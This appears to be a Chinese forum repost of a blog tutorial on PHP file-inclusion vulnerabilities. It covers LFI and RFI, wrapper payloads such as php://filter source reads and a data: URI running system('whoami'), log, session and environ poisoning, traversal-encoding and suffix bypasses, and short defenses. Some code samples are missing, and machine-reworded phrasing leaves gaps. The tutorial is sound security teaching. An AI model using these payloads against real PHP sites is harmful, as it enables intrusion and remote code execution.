外链论坛

 找回密码
 立即注册
搜索
查看: 17|回复: 0

php文件包含漏洞

[复制链接]

2931

主题

182

回帖

9920万

积分

论坛元老

Rank: 8Rank: 8

积分
99209514
发表于 2024-10-4 15:38:20 | 显示全部楼层 |阅读模式

基本

关联函数

php中诱发文件包括漏洞的一般是以下四个函数:

1.include()

2.include_once()

3.require()

4.require_once()

reuqire() 倘若包括的过程中有错,例如文件不存在等,则会直接退出,不执行后续语句。

include() 倘若出错的话,只会提出警告,会继续执行后续语句。

require_once() 和 include_once() 功能与require() 和 include() 类似。但倘若一个文件已然包括过了,则 require_once() 和 include_once() 则不会再包括它,以避免函数重定义或变量重赋值等问题。

当利用这四个函数来包括文件时,不管文件是什么类型(照片、txt等等),都会直接做为php文件进行解析。测试代码:

在同目录下有个phpinfo.txt,其内容为。则只需要拜访

index.php?file=phpinfo.txt

就可成功解析phpinfo。

场景

1.拥有关联的文件包括函数。

2.文件包括函数中存在动态变量,例如

include $file;

3.攻击者能够掌控该变量,例如

$file = $_GET[file];

归类

LFI(Local File Inclusion)

本地文件包括漏洞,顾名思义,指的是能打开并包括本地文件的漏洞。大部分状况下遇到的文件包括漏洞都是LFI。简单的测试用例如前所示。

RFI(Remote File Inclusion)

远程文件包括漏洞。指的是能够包括远程服务器上的文件并执行。因为远程服务器的文件是咱们可控的,因此呢漏洞一旦存在害处性会很大。

但RFI的利用要求较为苛刻,需要php.ini中进行配置

allow_url_fopen = On

allow_url_include = On

两个配置选项均需要为On,才可远程包括文件成功。

在php.ini中,allow_url_fopen默认始终是On,而allow_url_include从php5.2之后就默认为Off。

包括姿势

下面例子中测试代码均为:

allow_url_fopen 默认为 On

allow_url_include 默认为 Off

若有特殊需求,会在利用要求里指出。

php伪协议

php://input

利用要求

allow_url_include = On。

对al

low_url_fopen不做需求

姿势:

index.php?file=php://inputPOST:

php://filter

利用要求:无甚

姿势:

index.php?file=php://filter/read=convert.base64-encode/resource=index.php

经过指定末尾的文件,能够读取经base64加密后的文件源码,之后再base64解码一下就行。虽然不可直接获取到shell等,但能读取敏锐文件害处是挺大的。

>>> import base64>>> base64.b64decode("PD9waHAgDQoJJGZpbGUgPSAkX0dFVFsnZmlsZSddOw0KCWluY2x1ZGUgJGZpbGU7DQo/Pg==")b""

其他姿势:

index.php?file=php://filter/convert.base64-encode/resource=index.php

效果跟前面同样,少了read等关键字。在绕过有些waf时许有用。

phar://

利用要求

1.php版本大于等于php5.3.0

姿势:

假设有个文件phpinfo.txt,其内容为,打包成zip压缩包,如下:

指定绝对路径

index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt

运用相对路径(这儿test.zip就在当前目录下)

index.php?file=phar://test.zip/phpinfo.txt

zip://

利用要求

1.php版本大于等于php5.3.0

姿势:

构造zip包的办法同phar。

运用zip协议,需要指定绝对路径,同期#编码为%23,之后填上压缩包内的文件。

index.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt

若是使用相对路径,则会包括失败。

data:URI schema

利用要求

1.php版本大于等于php5.2

2.allow_url_fopen = On

3.allow_url_include = On

姿势一:

index.php?file=data:text/plain,

执行命令:

index.php?file=data:text/plain,

姿势二:

index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

加号+的url编码为%2bPD9waHAgcGhwaW5mbygpOz8+的base64解码为:

执行命令:

index.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==

其中PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==的base64解码为:

包括session

利用要求:session文件路径已知,且其中内容部分可控。

姿势:

php的session文件的保留路径能够在phpinfo的session.save_path看到。

平常的php-session存放位置:

1./var/lib/php/sess_PHPSESSID

2./var/lib/php/sess_PHPSESSID

3./tmp/sess_PHPSESSID

4./tmp/sessions/sess_PHPSESSID

session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中能够看到。

包括并利用的话,需要能掌控部分sesssion文件的内容。暂时通用的办法。有些时候,能够包括进session文件,观察里面的内容,而后按照里面的字段来发掘可控的变量,从而利用变量来写入payload,并之后再次包括从而执行php代码。

例如这篇文案透過 LFI 引入 PHP session 檔案觸發 RCE

包括日志

拜访日志

利用要求:需要晓得服务器日志的存储路径,且日志文件可读。

姿势:

非常多时候,web服务器会将请求写入到日志文件中,例如说apache。在用户发起请求时,会将请求写入access.log,当出现错误时将错误写入error.log。默认状况下,日志保留路径在 /var/log/apache2/。

倘若是直接发起请求,会引起有些符号被编码使得包括没法正确解析。能够运用burp截包后修改。

正常的php代码已然写入了 /var/log/apache2/access.log。而后进行包括就可

有些场景中,log的位置是被修改掉的。你能够经过读取相应的配置文件后,再进行包括

这儿供给一道包括日志的CTF题目:SHACTF-2017- Bon Appétit (100)-writeup

SSH log

利用要求:需要晓得ssh-log的位置,且可读。默认状况下为 /var/log/auth.log

姿势:

用ssh连接:

ubuntu@VM-207-93-ubuntu:~$ ssh @remotehost

之后会提示输入秘码等等,随便输入。

而后在remotehost的ssh-log中就可写入php代码:

之后进行文件包括就可

参考:RCE with LFI and SSH Log Poisoning

包括environ

利用要求

1.php以cgi方式运行,这般environ才会保持UA头。

2.environ文件存储位置已知,且environ文件可读。

姿势:

proc/self/environ中会保留user-agent头。倘若在user-agent中插进php代码,则php代码会被写入到environ中。之后再包括它,就可

能够参考这个:

1.The proc/self/environ Injection

2.shell via LFI - proc/self/environ method

包括fd

包括environ类似。

参考: LFI Cheat Sheet:/proc/self/environ LFI Method

包括临时文件

php中上传文件,会创建临时文件。在linux下运用/tmp目录,而在windows下运用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争就可包括该临时文件。

因为包括需要晓得包括的文件名。一种办法是进行暴力猜解,linux下运用的随机函数有缺陷,而window下仅有65535中区别的文件名,因此这个办法是可行的。

另一种办法协同phpinfo页面的php variables,能够直接获取到上传文件的存储路径和临时文件名,直接包括就可。这个办法能够参考LFI With PHPInfo Assistance

类似利用临时文件的存在,竞争时间去包括的,能够瞧瞧这道CTF题:XMAN夏令营-2017-babyweb-writeup

包括上传文件

利用要求:千变万化,不外最少晓得上传的文件在哪,叫啥名字。。。

姿势:

常常协同上传的姿势,不说了,太多了。

其余

一个web服务常常会用到多个其他服务,例如ftp服务,数据库等等。这些应用会产生相应的文件,但这就需要详细状况详细分析咯。这儿就不展开了。

绕过姿势

接下来聊聊绕过姿势。平常碰到的状况肯定不会是简简单单的include $_GET[file];这般直接把变量传入包括函数的。在非常多时候包括的变量/文件不是完全可控的,例如下面这段代码指定了前缀和后缀:

这般就很“难”直接去包括前面说到的种种文件。

指定前缀

思虑一下指定了前缀的状况吧。测试代码:

目录遍历

这个最简单了,简要的提一下。

此刻在/var/log/test.txt文件中有php代码,则利用../能够进行目录遍历,例如咱们尝试拜访

include.php?file=../../log/test.txt

则服务器端实质拼接出来的路径为:/var/www/html/../../log/test.txt,即/var/log/test.txt。从而包括成功。

编码绕过

服务器端常常会针对../等做有些过滤,能够有些编码来进行绕过。下面这些总结来自《白帽子讲Web安全》。

l利用url编码

n../

u%2e%2e%2f

u..%2f

u%2e%2e/

n..\

u%2e%2e%5c

u..%5c

u%2e%2e\

l二次编码

n../

u%252e%252e%252f

n..\

u%252e%252e%255c

l容器/服务器的编码方式

n../

u..%c0%af

l注:Why does Directory traversal attack %C0%AF work?

u%c0%ae%c0%ae/

l注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点)

lApache Tomcat Directory Traversal

n..\

u..%c1%9c

指定后缀

接着思虑指定后缀的状况。测试代码:

URL

url格式

protocol :// hostname[:port] / path / [;parameters][?query]#fragment

在远程文件包括漏洞(RFI)中,能够利用query或fragment来绕过后缀限制。

姿势一:query(?)

index.php?file=http://remoteaddr/remoteinfo.txt?

包括的文件为 http://remoteaddr/remoteinfo.txt?/test/test.php

问号后面的部分/test/test.php便是指定的后缀被当作query从而被绕过。

姿势二:fragment(#)

index.php?file=http://remoteaddr/remoteinfo.txt%23

包括的文件为 http://remoteaddr/remoteinfo.txt#/test/test.php

问号后面的部分/test/test.php便是指定的后缀被当作fragment从而被绕过。重视需要把#进行url编码为%23

利用协议

前面有说到过利用zip协议和phar协议。假设此刻测试代码为:

构造压缩包如下:

其中test.php内容为:

利用zip协议,重视要指定绝对路径

index.php?file=zip://D:\phpStudy\WWW\fileinclude\chybeta.zip%23chybeta

则拼接后为:zip://D:\phpStudy\WWW\fileinclude\chybeta.zip#chybeta/test/test.php

能成功包括

在利用phar协议的时候有些问题。哪位能指教一下?

长度截断

利用要求:php版本 < php 5.2.8

目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要持续的重复./

index.php?file=././././。。。省略。。。././shell.txt

则后缀/test/test.php,在达到最大值后会被直接丢弃掉。

0字节截断

利用要求:php版本 < php 5.3.4

index.php?file=phpinfo.txt%00

能利用00截断的场景此刻应该很少了:)

防御方法

1.非常多场景中都需要去包括web目录之外的文件,倘若php配置了open_basedir,则会包括失败

2.做好文件的权限管理

3.对危险字符进行过滤等等

From:https://chybeta.github.io/2017/10/08/php%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/#%E6%8C%87%E5%AE%9A%E5%90%8E%E7%BC%80

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

站点统计|Archiver|手机版|小黑屋|外链论坛 ( 非经营性网站 )|网站地图

GMT+8, 2024-11-5 18:56 , Processed in 0.072070 second(s), 20 queries .

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.